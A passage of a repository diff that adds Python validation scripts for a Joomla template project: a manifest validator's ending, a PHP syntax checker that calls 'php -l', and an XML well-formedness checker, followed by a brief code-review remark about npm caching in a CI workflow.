common.log_error(f"Failed to parse manifest: {manifest_path}")
|
||||
return False
|
||||
|
||||
|
||||
def main() -> int:
|
||||
"""Main entry point."""
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Validate Joomla extension manifest files",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"-s", "--src-dir",
|
||||
default="src",
|
||||
help="Source directory to search for manifests (default: src)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"-v", "--verbose",
|
||||
action="store_true",
|
||||
help="Show detailed output"
|
||||
)
|
||||
parser.add_argument(
|
||||
"manifest",
|
||||
nargs="?",
|
||||
help="Specific manifest file to validate (optional)"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
if args.manifest:
|
||||
# Validate specific manifest
|
||||
manifest_path = Path(args.manifest)
|
||||
if not manifest_path.is_file():
|
||||
common.die(f"Manifest file not found: {args.manifest}")
|
||||
|
||||
success = validate_manifest_file(manifest_path, args.verbose)
|
||||
return 0 if success else 1
|
||||
else:
|
||||
# Find and validate all manifests in src directory
|
||||
manifests = joomla_manifest.find_all_manifests(args.src_dir)
|
||||
|
||||
if not manifests:
|
||||
common.die(f"No manifest files found in {args.src_dir}")
|
||||
|
||||
if args.verbose:
|
||||
common.log_section("Validating Manifests")
|
||||
common.log_info(f"Found {len(manifests)} manifest(s)")
|
||||
print()
|
||||
|
||||
all_valid = True
|
||||
for manifest in manifests:
|
||||
if not validate_manifest_file(manifest, args.verbose):
|
||||
all_valid = False
|
||||
|
||||
if args.verbose:
|
||||
print()
|
||||
if all_valid:
|
||||
common.log_success(f"All {len(manifests)} manifest(s) are valid")
|
||||
else:
|
||||
common.log_error("Some manifests failed validation")
|
||||
|
||||
return 0 if all_valid else 1
|
||||
|
||||
except Exception as e:
|
||||
common.log_error(f"Validation failed: {e}")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
218
scripts/validate/php_syntax.py
Executable file
@@ -0,0 +1,218 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Validate PHP syntax in files.
|
||||
|
||||
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
|
||||
|
||||
This file is part of a Moko Consulting project.
|
||||
|
||||
SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program (./LICENSE.md).
|
||||
|
||||
FILE INFORMATION
|
||||
DEFGROUP: Moko-Cassiopeia.Scripts
|
||||
INGROUP: Scripts.Validate
|
||||
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
|
||||
PATH: /scripts/validate/php_syntax.py
|
||||
VERSION: 01.00.00
|
||||
BRIEF: Validate PHP syntax in all PHP files
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import List, Tuple
|
||||
|
||||
# Add lib directory to path
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent / "lib"))
|
||||
|
||||
try:
|
||||
import common
|
||||
except ImportError:
|
||||
print("ERROR: Cannot import required libraries", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def check_php_file(file_path: Path) -> Tuple[bool, str]:
|
||||
"""
|
||||
Check PHP syntax of a single file.
|
||||
|
||||
Args:
|
||||
file_path: Path to PHP file
|
||||
|
||||
Returns:
|
||||
Tuple of (is_valid, error_message)
|
||||
"""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["php", "-l", str(file_path)],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=10
|
||||
)
|
||||
|
||||
if result.returncode == 0:
|
||||
return (True, "")
|
||||
else:
|
||||
return (False, result.stderr or result.stdout)
|
||||
|
||||
except subprocess.TimeoutExpired:
|
||||
return (False, "Syntax check timed out")
|
||||
except Exception as e:
|
||||
return (False, str(e))
|
||||
|
||||
|
||||
def find_php_files(src_dir: str, exclude_dirs: List[str] = None) -> List[Path]:
|
||||
"""
|
||||
Find all PHP files in a directory.
|
||||
|
||||
Args:
|
||||
src_dir: Directory to search
|
||||
exclude_dirs: Directories to exclude
|
||||
|
||||
Returns:
|
||||
List of PHP file paths
|
||||
"""
|
||||
if exclude_dirs is None:
|
||||
exclude_dirs = ["vendor", "node_modules", ".git"]
|
||||
|
||||
src_path = Path(src_dir)
|
||||
if not src_path.is_dir():
|
||||
return []
|
||||
|
||||
php_files = []
|
||||
for php_file in src_path.rglob("*.php"):
|
||||
# Check if file is in an excluded directory
|
||||
if any(excluded in php_file.parts for excluded in exclude_dirs):
|
||||
continue
|
||||
php_files.append(php_file)
|
||||
|
||||
return sorted(php_files)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
"""Main entry point."""
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Validate PHP syntax in all PHP files",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"-s", "--src-dir",
|
||||
default="src",
|
||||
help="Source directory to search for PHP files (default: src)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"-v", "--verbose",
|
||||
action="store_true",
|
||||
help="Show detailed output"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--exclude",
|
||||
action="append",
|
||||
help="Directories to exclude (can be specified multiple times)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"files",
|
||||
nargs="*",
|
||||
help="Specific files to check (optional)"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Check if PHP is available
|
||||
common.require_cmd("php")
|
||||
|
||||
try:
|
||||
# Determine which files to check
|
||||
if args.files:
|
||||
php_files = [Path(f) for f in args.files]
|
||||
for f in php_files:
|
||||
if not f.is_file():
|
||||
common.die(f"File not found: {f}")
|
||||
else:
|
||||
exclude_dirs = args.exclude or ["vendor", "node_modules", ".git"]
|
||||
php_files = find_php_files(args.src_dir, exclude_dirs)
|
||||
|
||||
if not php_files:
|
||||
common.die(f"No PHP files found in {args.src_dir}")
|
||||
|
||||
if args.verbose:
|
||||
common.log_section("PHP Syntax Validation")
|
||||
common.log_info(f"Checking {len(php_files)} PHP file(s)")
|
||||
print()
|
||||
|
||||
errors = []
|
||||
for php_file in php_files:
|
||||
is_valid, error_msg = check_php_file(php_file)
|
||||
|
||||
if is_valid:
|
||||
if args.verbose:
|
||||
common.log_success(f"OK: {php_file}")
|
||||
else:
|
||||
errors.append((php_file, error_msg))
|
||||
if args.verbose:
|
||||
common.log_error(f"FAILED: {php_file}")
|
||||
if error_msg:
|
||||
print(f" {error_msg}")
|
||||
|
||||
# Output results
|
||||
if args.verbose:
|
||||
print()
|
||||
|
||||
if errors:
|
||||
result = {
|
||||
"status": "error",
|
||||
"total": len(php_files),
|
||||
"passed": len(php_files) - len(errors),
|
||||
"failed": len(errors),
|
||||
"errors": [{"file": str(f), "error": e} for f, e in errors]
|
||||
}
|
||||
|
||||
if not args.verbose:
|
||||
common.json_output(result)
|
||||
|
||||
common.log_error(f"PHP syntax check failed: {len(errors)} error(s)")
|
||||
|
||||
if not args.verbose:
|
||||
for file_path, error_msg in errors:
|
||||
print(f"ERROR: {file_path}")
|
||||
if error_msg:
|
||||
print(f" {error_msg}")
|
||||
|
||||
return 1
|
||||
else:
|
||||
result = {
|
||||
"status": "ok",
|
||||
"total": len(php_files),
|
||||
"passed": len(php_files)
|
||||
}
|
||||
|
||||
if not args.verbose:
|
||||
common.json_output(result)
|
||||
print(f"php_syntax: ok ({len(php_files)} file(s) checked)")
|
||||
else:
|
||||
common.log_success(f"All {len(php_files)} PHP file(s) are valid")
|
||||
|
||||
return 0
|
||||
|
||||
except Exception as e:
|
||||
common.log_error(f"Validation failed: {e}")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
206
scripts/validate/xml_wellformed.py
Executable file
@@ -0,0 +1,206 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Validate XML well-formedness.
|
||||
|
||||
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
|
||||
|
||||
This file is part of a Moko Consulting project.
|
||||
|
||||
SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program (./LICENSE.md).
|
||||
|
||||
FILE INFORMATION
|
||||
DEFGROUP: Moko-Cassiopeia.Scripts
|
||||
INGROUP: Scripts.Validate
|
||||
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
|
||||
PATH: /scripts/validate/xml_wellformed.py
|
||||
VERSION: 01.00.00
|
||||
BRIEF: Validate XML well-formedness in all XML files
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import xml.etree.ElementTree as ET
|
||||
from pathlib import Path
|
||||
from typing import List, Tuple
|
||||
|
||||
# Add lib directory to path
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent / "lib"))
|
||||
|
||||
try:
|
||||
import common
|
||||
except ImportError:
|
||||
print("ERROR: Cannot import required libraries", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def check_xml_file(file_path: Path) -> Tuple[bool, str]:
|
||||
"""
|
||||
Check if an XML file is well-formed.
|
||||
|
||||
Args:
|
||||
file_path: Path to XML file
|
||||
|
||||
Returns:
|
||||
Tuple of (is_valid, error_message)
|
||||
"""
|
||||
try:
|
||||
ET.parse(file_path)
|
||||
return (True, "")
|
||||
except ET.ParseError as e:
|
||||
return (False, str(e))
|
||||
except Exception as e:
|
||||
return (False, str(e))
|
||||
|
||||
|
||||
def find_xml_files(src_dir: str, exclude_dirs: List[str] = None) -> List[Path]:
|
||||
"""
|
||||
Find all XML files in a directory.
|
||||
|
||||
Args:
|
||||
src_dir: Directory to search
|
||||
exclude_dirs: Directories to exclude
|
||||
|
||||
Returns:
|
||||
List of XML file paths
|
||||
"""
|
||||
if exclude_dirs is None:
|
||||
exclude_dirs = ["vendor", "node_modules", ".git"]
|
||||
|
||||
src_path = Path(src_dir)
|
||||
if not src_path.is_dir():
|
||||
return []
|
||||
|
||||
xml_files = []
|
||||
for xml_file in src_path.rglob("*.xml"):
|
||||
# Check if file is in an excluded directory
|
||||
if any(excluded in xml_file.parts for excluded in exclude_dirs):
|
||||
continue
|
||||
xml_files.append(xml_file)
|
||||
|
||||
return sorted(xml_files)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
"""Main entry point."""
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Validate XML well-formedness in all XML files",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"-s", "--src-dir",
|
||||
default="src",
|
||||
help="Source directory to search for XML files (default: src)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"-v", "--verbose",
|
||||
action="store_true",
|
||||
help="Show detailed output"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--exclude",
|
||||
action="append",
|
||||
help="Directories to exclude (can be specified multiple times)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"files",
|
||||
nargs="*",
|
||||
help="Specific files to check (optional)"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
# Determine which files to check
|
||||
if args.files:
|
||||
xml_files = [Path(f) for f in args.files]
|
||||
for f in xml_files:
|
||||
if not f.is_file():
|
||||
common.die(f"File not found: {f}")
|
||||
else:
|
||||
exclude_dirs = args.exclude or ["vendor", "node_modules", ".git"]
|
||||
xml_files = find_xml_files(args.src_dir, exclude_dirs)
|
||||
|
||||
if not xml_files:
|
||||
common.die(f"No XML files found in {args.src_dir}")
|
||||
|
||||
if args.verbose:
|
||||
common.log_section("XML Well-formedness Validation")
|
||||
common.log_info(f"Checking {len(xml_files)} XML file(s)")
|
||||
print()
|
||||
|
||||
errors = []
|
||||
for xml_file in xml_files:
|
||||
is_valid, error_msg = check_xml_file(xml_file)
|
||||
|
||||
if is_valid:
|
||||
if args.verbose:
|
||||
common.log_success(f"OK: {xml_file}")
|
||||
else:
|
||||
errors.append((xml_file, error_msg))
|
||||
if args.verbose:
|
||||
common.log_error(f"FAILED: {xml_file}")
|
||||
if error_msg:
|
||||
print(f" {error_msg}")
|
||||
|
||||
# Output results
|
||||
if args.verbose:
|
||||
print()
|
||||
|
||||
if errors:
|
||||
result = {
|
||||
"status": "error",
|
||||
"src_dir": args.src_dir,
|
||||
"xml_count": len(xml_files),
|
||||
"passed": len(xml_files) - len(errors),
|
||||
"failed": len(errors),
|
||||
"errors": [{"file": str(f), "error": e} for f, e in errors]
|
||||
}
|
||||
|
||||
if not args.verbose:
|
||||
common.json_output(result)
|
||||
|
||||
common.log_error(f"XML validation failed: {len(errors)} error(s)")
|
||||
|
||||
if not args.verbose:
|
||||
for file_path, error_msg in errors:
|
||||
print(f"ERROR: {file_path}")
|
||||
if error_msg:
|
||||
print(f" {error_msg}")
|
||||
|
||||
return 1
|
||||
else:
|
||||
result = {
|
||||
"status": "ok",
|
||||
"src_dir": args.src_dir,
|
||||
"xml_count": len(xml_files)
|
||||
}
|
||||
|
||||
if not args.verbose:
|
||||
common.json_output(result)
|
||||
print(f"xml_wellformed: ok")
|
||||
else:
|
||||
common.log_success(f"All {len(xml_files)} XML file(s) are well-formed")
|
||||
|
||||
return 0
|
||||
|
||||
except Exception as e:
|
||||
common.log_error(f"Validation failed: {e}")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
The cache configuration uses 'npm' cache but specifies a 'cache-dependency-path' that may not exist in all scenarios. If 'package-lock.json' doesn't exist, the cache setup could fail or behave unexpectedly. Consider making this conditional or providing a fallback, or using a pattern that matches if the file exists (e.g., using 'if: hashFiles('**/package-lock.json') != ''').